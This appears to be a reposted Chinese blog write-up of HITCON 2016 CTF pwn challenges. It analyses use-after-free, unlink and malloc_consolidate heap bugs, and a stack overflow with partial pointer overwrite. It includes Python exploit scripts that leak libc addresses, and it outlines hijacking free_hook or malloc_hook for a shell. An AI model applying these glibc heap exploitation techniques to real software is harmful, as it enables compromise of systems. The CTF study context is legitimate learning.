Hitcon 2016 Pwn赛题学习
PS:這是我很久以前寫的,大概是去年剛結束Hitcon2016時寫的。寫完之后就丟在硬盤里沒管了,最近翻出來才想起來寫過這個,索性發出來
0x0 前言
Hitcon個人感覺是高質量的比賽,相比國內的CTF,Hitcon的題目內容更新,往往會出現一些以前從未從題目中出現過的姿勢。同時觀察一些CTF也可以發現,往往都是國外以及臺灣的CTF中首先出現的姿勢,然后一段時間后才會被國內的CTF學習到。
此次Hitcon2016目前還未發現有中文的writeup放出,由于Hitcon題目的高質量,所以這里寫一篇Hitcon Pwn題目的賽題分析,會從解題思路和出題思路兩方面去分析。
題目列表:
- Pwn100-Secret Holder (30解出)
- Pwn200-ShellingFolder (39解出)
- Pwn300-Sleepy Holder (1解出)
- Pwn300-Babyheap (3解出)
- Pwn350-OmegaGo (3解出)
- Pwn400-Heart Attack (3解出)
- Pwn500-House of Orange (3解出)
可見這次的賽題難度還是相當高的,在強如PPP、LC?BC等國際名隊,國內強隊0ops、AAA參賽的情況下。大多數題目也只有幾隊能夠解出。
0x1 Pwn100-Secret Holder
1.分析
這是一道經典的選單程序,可以分配small、big、huge三種堆塊,其中small屬于small bin,其余兩種都屬于large bin(一個是4000字節另一個是40萬字節)。
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret 程序是x64的,開啟了除了PIE之外的所有保護。
這道題的漏洞給的相當明顯,當堆塊被free掉之后,堆指針卻沒有清零。因此存在著Use-After-Free漏洞,可以很容易的看出我們能夠在一個塊中獲得一個懸垂指針。
puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");puts("3. Huge secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);switch ( v0 ){case 2:free(big_ptr);big_num = 0;break;case 3:free(huge_ptr);huge_num = 0;break;case 1:free(small_ptr);small_num = 0;break;} 一般存在這種情況就都是使用double free的利用方法。但是這道題比較不同的地方,也是難點所在的地方是,程序給出了一個大小為40萬字節的塊,在分配屬于large bin大小的堆塊的時候會首先進行一系列的合并,然后檢查large bin表和unsorted bin表等一系列bins中是否存在可以滿足我們需求大小的塊,明顯這些bins中是不可能存在40萬字節這么大的塊的。然后malloc會寄希望于從top chunk中分配,對于4000字節還好但是40萬字節明顯top chunk本身都不會有這么大。
那么系統接下來會去試圖擴展堆的大小,使用的函數是sysmalloc,這個函數會首先判斷是否滿足mmap的分配條件,如果要分配的大小大于mmap的閥值(mp_.mmap_threshold),并且此進程通過mmap分配的總內存數量(mp_.n_mmaps)小于設定的最大值的話(mp_.n_mmaps_max),就會使用mmap分配
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&(mp_.n_mmaps < mp_.n_mmaps_max)){……} 毫無疑問,我們的40萬字節的分配滿足這兩個條件,但這不是我們想看到的。
因為初始的堆是由brk方式分配的,其中brk分配的堆的地址是緊鄰著bss段的(如果存在ASLR則會加一個隨機的偏移值)。而mmap分配的內存則會創建一個內存映射段出來,這兩者分配出來的內存的地址相距是很遠的。
那么有沒有辦法讓40萬字節通過brk分配呢?答案是有的,sysmalloc在mmap出內存之后會隨之更新mp_.n_mmaps_max值,如下所示:
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum); 這樣當下次判斷的時候,就不再滿足mmap分配的條件了,從而使得通過brk來分配。
對于double free的利用,我們通常采取的手段是圍繞著懸垂指針構造兩個偽堆塊結構,并且設置前一個塊為空,這樣當我們free掉指針的時候就會觸發unlink宏達到執行任意代碼的目的。為了實現這一目的,我們必須要讓這兩個偽堆塊屬于small bin的范疇。對于x64來說范圍是32~1016byte,40字節的small明顯屬于small bin,但是big和huge均不屬于small bin。
如果我們偽造兩個small bin來布局內存的話,那么是會引發段錯誤的,如以下代碼所示:
if (__builtin_expect (!prev_inuse(nextchunk), 0))
{errstr = "double free or corruption (!prev)";goto errout;
} 這段_int_free中的代碼本來的目的是為了防止double free的,它檢測了當前塊的下一塊的prev_inuse域是否被設置,如果我們簡單粗暴的直接偽造兩個small bin那么相應位置的inuse位肯定是0,從而引發錯誤,所以我們要做的是在兩個偽造的small bin之后再接著偽造一個塊就可以繞過這個檢測了。
當成功的觸發了unlink之后,我們就可以發現原有的big指針被改成了&big-0x18
===========================================================================
.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write
.bss:0000000000602090 _bss segment para public 'BSS' use64
.bss:0000000000602090 assume cs:_bss
.bss:0000000000602090 ;org 602090h
.bss:0000000000602090 assume es:nothing, ss:nothing, ds:_data,
.bss:0000000000602090 public stdout
.bss:0000000000602090 ; FILE *stdout
.bss:0000000000602090 stdout dq ? ; DATA XREF:
.bss:0000000000602090 ; sub_4007B0+22o ...
.bss:0000000000602090 ; Copy of shared
.bss:0000000000602098 byte_602098 db ? ; DATA XREF:
.bss:0000000000602098 ; sub_400820+13w
.bss:0000000000602099 align 20h
.bss:00000000006020A0 ; void *big_pointer
.bss:00000000006020A0 big_pointer dq ? ; DATA XREF:
.bss:00000000006020A0 ;
.bss:00000000006020A8 ; void *huge_pointer
.bss:00000000006020A8 huge_pointer dq ? ; DATA XREF:
.bss:00000000006020A8 ;
.bss:00000000006020B0 ; void *small_pointer
.bss:00000000006020B0 small_pointer dq ? ; DATA XREF:
.bss:00000000006020B0 ; sub_40086D+D3r ...
.bss:00000000006020B8 big_jisu dd ? ; DATA XREF:
.bss:00000000006020B8 ;
.bss:00000000006020BC huge_jisu dd ? ; DATA XREF:
.bss:00000000006020BC ;
.bss:00000000006020C0 small_jisu dd ? ; DATA XREF:
.bss:00000000006020C0 ; sub_40086D+BFw ...
.bss:00000000006020C4 align 8
.bss:00000000006020C4 _bss ends
.bss:00000000006020C4 然后我們再利用renew功能對big_pointer進行寫入,如上面的bss布局所示可以輕易的覆蓋到big_pointer、huge_pointer、small_pointer,從而實現了任意地址寫。
因為題目沒有提供libc.so所以需要自己去泄漏libc.so的版本和基地址。因為我們已經具備了任意地址寫的能力,所以現在的問題就是如何把任意地址寫轉換成為任意地址泄漏。
這里我們使用的方法是把free函數的got表值覆蓋為輸出函數的地址,比如puts。這個方法在去年的XXXX CTF里也有出現過。
2.利用步驟
通過上面的分析我們可以得出以下的利用步驟
1.keep huge
2.wipe huge //提高了mp_.n_mmaps_max的值
3.keep small
4.keep big
5.wipe small
6.wipe big //獲取懸垂指針
7.keep huge //構造偽堆塊結構
8.wipe big //double free
9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
這種情況下的exp如下:
from zio import *
from struct import *io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)fake_chunk=''
fake_chunk+=l64(0)+l64(33)
fake_chunk+=l64(ptr-24)+l64(ptr-16)
fake_chunk=fake_chunk.ljust(32,'a')
fake_chunk+=l64(32)+l64(160)
fake_chunk=fake_chunk.ljust(192,'b')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(352,'c')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(512,'d')sc1=l64(1)+l64(0)+l64(0x602018)+l64(0x06020A0)+l64(0x602030)#memset@got
sc2=l64(0x4006c6)+l64(0x4006c6)#puts@plt
sc3=l64(0x602048)+l64(0x06020A0)+l64(0x0602040)#__libc_start_main@got + read@gotio.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe huge
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('3')io.read_until('3. Renew secret')#keep small
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('1')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#keep big
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe small
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')io.read_until('3. Renew secret')#wipe big
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(fake_chunk)io.read_until('3. Renew secret')#wipe big unlink!!!
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc1)io.read_until('3. Renew secret')#renew big
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline(sc2)#io.gdb_hint()io.read_until('3. Renew secret')#wipe small #memset@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
#io.read_until('3. Renew secret')
memset_got=io.read(20)
print 'memset@got==============='
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc3)io.read_until('3. Renew secret')#wipe small read@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
read_got=io.read(20)
print 'read@got================'
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#wipe big _libc_start_main@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')
libc_start=io.read(20)
print 'libc_start_main==========='
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))#io.gdb_hint()
io.read() 由于libc.so取決于本地測試時的版本,所以這里就只提供leak的exp了,最后取得shell已經變得非常簡單了,只需要隨意覆蓋一個got表為magic system地址即可。
3.總結
double free利用的題在CTF中較為常見,但是結合了large bin和small bin的double free確實是很少的。這里面對于堆塊的brk和mmap分配也需要對ptmalloc有一定了解的人才能及時的解出。
0x2 Pwn200-Shelling Folder
1.分析
同樣是x64下的Linux程序,功能大體上是一個目錄管理程序,所有保護全開,但是提供了libc.so。
**************************************ShellingFolder
**************************************1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit
**************************************
Your choice: 在程序里主要的結構如下:
總共是136個字節
[80] child_pointer
[8] parents_pointer
[32] name
[8] size
[4] flag 其中第一個域是指向自己子結構的指針,共10個。說明一個目錄最多能存放10個子結構。第二個域是父目錄的指針,指向自己的上一級結構。第三個域儲存這個結構的名稱。第四個儲存這個文件的大小,注意只有這個結構表示文件時才使用size域。最后一個域用來表示這個結構是目錄還是文件。
這道題總共有2個洞,雖然代碼有些啰嗦,但是其中第一洞還是想到明顯的。可以發現存在一個棧溢出能夠覆蓋掉局部變量,如下所示我們可以計算出棧上的緩沖區s的大小是24個字節
-0000000000000030 s db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 var_18 dq ? 但是我們進行拷貝的時候卻是拷貝了30個字節,這樣就覆蓋了v3變量的值,但是并不能達到返回地址和保存的ebp
while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));if ( *(_DWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 128LL) == 1 ){*(_QWORD *)v3 = *(_QWORD *)v3;}else{printf("%s : size %ld\n", &s, *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL));*(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL);}}++v4;} 而這個v3局部變量是一個指針,之后會對這個指針指向的值做一個加法操作,我們這里的*(_QWORD )((_QWORD )(a1 + 8LL v4) + 120LL)的值其實就是之前設置的當前目錄下的文件的size值。但是這個值是被用戶控制的,而且是可正可負的。由于加法操作數可正可負,所以這就相當于是造成了一個任意地址寫(write-anything-anywhere)的漏洞。
第二個漏洞就比較隱蔽了,在作者實現的MyCopy函數中,沒有給拷貝的字符串加上字符串結束符
void *__fastcall Mycopy(void *a1, const char *a2)
{size_t n; // ST28_8@1n = strlen(a2);return memcpy(a1, a2, n);
} 而這道題恰好又存在著輸出功能,那么我們就有可能利用這個漏洞來實現地址泄漏。
如果這道題沒有開PIE保護,那么利用起來很簡單。可以通過任意地址寫去改寫bss段上存有的當前目錄的指針,來泄漏出got表的值,然后因為題目提供了libc,所以可以直接計算出地址,再利用任意地址寫寫到got表中就可以拿到shell了。
然而,在保護全開的情況下,我們并沒有一個確切的地址去寫,因為所有模塊的地址均是不定的。所以這里使用的方法是部分覆蓋指針法,我們只向目標中寫入25個字節以覆蓋最低位。
__int64 __fastcall sub_1334(__int64 a1)
{if ( !a1 )exit(1);v4 = 0;memset(&s, 0, 0x20uLL);while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL)); 我們可以看到這里v3的值在發生溢出被覆蓋前是等于a1+120的,而a1是什么呢?a1是全局變量0x202020也就是當前目錄的結構指針。那么v3的值其實是指向當前目錄結構的size域的,我們知道size域距離塊首有0x78的偏移,如果能夠進行合理的猜測那么就可以實現覆蓋掉10個指針中的某一個,并把它指向我們任意定義的地方。然后通過1號list功能就可以實現泄漏內存了。
具體要把指針指向哪里呢?我們要思考一下,之所以堆可以泄漏內存是因為free狀態的堆存在著fd和bk指針,那么我們首先就要去構造一些這樣的空塊出來,然后再把指針指過去實現泄漏。
即只覆蓋指針的低地址部分,這種方法并不精確但是通過不斷的嘗試我們可以摸索出一個偏移以使得把指針指向這里之后再次泄漏,把指針附近的內存讀出,因為在ptmalloc中,一個塊被釋放后會被丟人unsorted bin中,只要我們能夠讀到后面的unsorted bin的fd和bk指針就可以獲取到bins[]地址,從而計算出libc的基地址。
一旦獲得了libc的基地址一切就簡單了,因為題目已經提供了libc文件。所以我們可以直接算出我們想要的地址。在libc中存在著一個非常好用的位置,即是ptmalloc的一系列hook函數,我們可以通過libc地址算出free_hook的地址,然后把magic system寫入free_hook。之后,當我們再次調用free函數時就會轉向我們在free_hook中指定的magic system了。
思路已經理清楚了。
1.創建8個文件
2.創建一個可造成溢出的文件
3.把8個文件中的后面幾個釋放掉,以加入unsorted bin
2.計算大小
3.列出當前目錄下的內容
exp如下:
from zio import *
from struct import *
io=zio('./sf',timeout=9999)#io.gdb_hint()def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)name_overflow=''
name_overflow=name_overflow.ljust(24,'a')+'\x28'offset='200'i=0
for i in range(0,8):io.read_until('Your choice:')#create file x8io.writeline('4')io.read_until('Name of File:')io.writeline(str(i))io.read_until('Size of File:')io.writeline('100')i+=1io.read_until('Your choice:')#create file
io.writeline('4')
io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)i=5
for i in range(5,8):io.read_until('Your choice:')#remove file io.writeline('5')io.read_until('Choose a Folder or file :')io.writeline(str(i))i+=1#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6')io.read_until('Your choice:')#list folder
io.writeline('1')io.read_until('2')
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)io.read() 即可得到bins的地址,然后再推算出malloc_hook的地址。我們為了利用方便同樣使用了magic system,然后利用前面的任意地址寫把magic system的地址寫到malloc_hook上。之后當我們再次觸發malloc就可以成功的得到shell。
0x3 Pwn300-Sleepy Holder
題目的程序與Pwn100基本上是一致的
main函數同樣是一個選單,分為:
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret 其中塊依然是分為small(40)、big(4000)、huge(400000)三種
_int64 keep()
{int v0; // eax@3char s; // [sp+10h] [bp-10h]@3__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("What secret do you want to keep?");puts("1. Small secret");puts("2. Big secret");if ( !huge_jisu )puts("3. Keep a huge secret and lock it forever");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 2 ){if ( !big_jisu ){big_pointer = calloc(1uLL, 4000uLL);big_jisu = 1;puts("Tell me your secret: ");read(0, big_pointer, 4000uLL);}}else if ( v0 == 3 ){if ( !huge_jisu ){huge_pointer = calloc(1uLL, 400000uLL);huge_jisu = 1;puts("Tell me your secret: ");read(0, huge_pointer, 400000uLL);}}else if ( v0 == 1 && !small_jisu ){small_pointer = calloc(1uLL, 40uLL);small_jisu = 1;puts("Tell me your secret: ");read(0, small_pointer, 40uLL);}return *MK_FP(__FS__, 40LL) ^ v3;
} 同樣是釋放后只將計數清零,并沒有清零指針,所以UAF漏洞依然存在
__int64 wipe()
{int v0; // eax@1char s; // [sp+10h] [bp-10h]@1__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 1 ){free(small_pointer);small_jisu = 0; //只清零計數,并沒有清零指針}else if ( v0 == 2 ){free(big_pointer);big_jisu = 0; //只清零計數,并沒有清零指針}return *MK_FP(__FS__, 40LL) ^ v3;
} 看到這里我們應該意識到這道題與Pwn100的差別了,就是huge塊只可以分配一次,并且無法釋放。
所以要另想辦法才行,不得不佩服Hitcon CTF主辦方的是(可能是217?)這道題的利用思路很有可能是是首創的,甚至之前都從來沒有出現過的。
在ptmalloc中分配一個large bin的時候,會調用malloc_consolidate()函數來清除fastbin中的塊。
具體操作如下:
else //當分配large bin時 {idx = largebin_index(nb);if (have_fastchunks(av))malloc_consolidate(av);} malloc_consolidate函數其實只在存在fastbin塊時進行操作
static void malloc_consolidate(mstate av)
{//...if (get_max_fast () != 0) //當fastbin存在時{//...do {//...do {//...if (!prev_inuse(p)) //合并fastbin中的相鄰空塊{prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize));unlink(p, bck, fwd);}//...} while ( (p = nextp) != 0); //遍歷一條fastbin鏈表里的每一個塊}while (fb++ != maxfb); //遍歷每一條fastbin鏈表 }else //當fastbin不存在時{//...}
} 目的是把fastbin中的塊的狀態設置為空,因為我們知道fastbin中的塊是始終處于使用狀態的,就是說fastbin塊的后塊的pre_inuse位始終置1。但是,一旦觸發了malloc_consolidate函數就會把fastbin塊丟入small bin中并且設置為釋放狀態,即下一塊的pre_inuse域為0。
1 keep small
2 keep big //防止small與big合并
3 wipe small //small進入fastbin表
4 keep huge //分配large bin使得fastbin塊進入small bin
5 wipe small //再次free同一個塊,是為了讓它存在于fastbin表中
6 keep small //fastbin的項被取下,之前釋放的內存被返還(在這塊內存中布局偽堆結構)
7 wipe big //unlink
8 renew small //覆寫指針,接著就是任意地址寫 這道題利用的點是,當分配large bin的時候,會把fastbin的塊設為free狀態,并且丟進small bins中。從而使得fastbin后面的big chunk的inuse位為0。之后的目的就是要保持住這個為0的inuse位,最后在這個塊前面重新取回那個small bin,實現觸發unlink造成任意地址寫。
所以分配huge塊(large bin)的意義就是為了觸發malloc_consolidate函數,而第二次釋放fastbin塊是為了讓它加入到fastbin鏈表中,而且分配的時候如果是從fastbin分配過來的話那么根本就不會更改inuse域。
所以這個題其實利用了這樣的一種矛盾:
1.從fastbin分配不會設置后塊的pre_inuse位。
2.malloc_consolidate會把fastbin的后塊pre_inuse位清零。
本質的利用方法依然是unlink,修改了塊的指針,然后可以實現指針的覆寫從而導致任意地址寫。解下的步驟與Pwn100就很類似了。
轉載于:https://www.cnblogs.com/Ox9A82/p/6766261.html
總結
以上是生活随笔為你收集整理的Hitcon 2016 Pwn赛题学习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 卑微的承诺下一句是什么啊?
- 下一篇: 【题解】BZOJ 3065: 带插入区间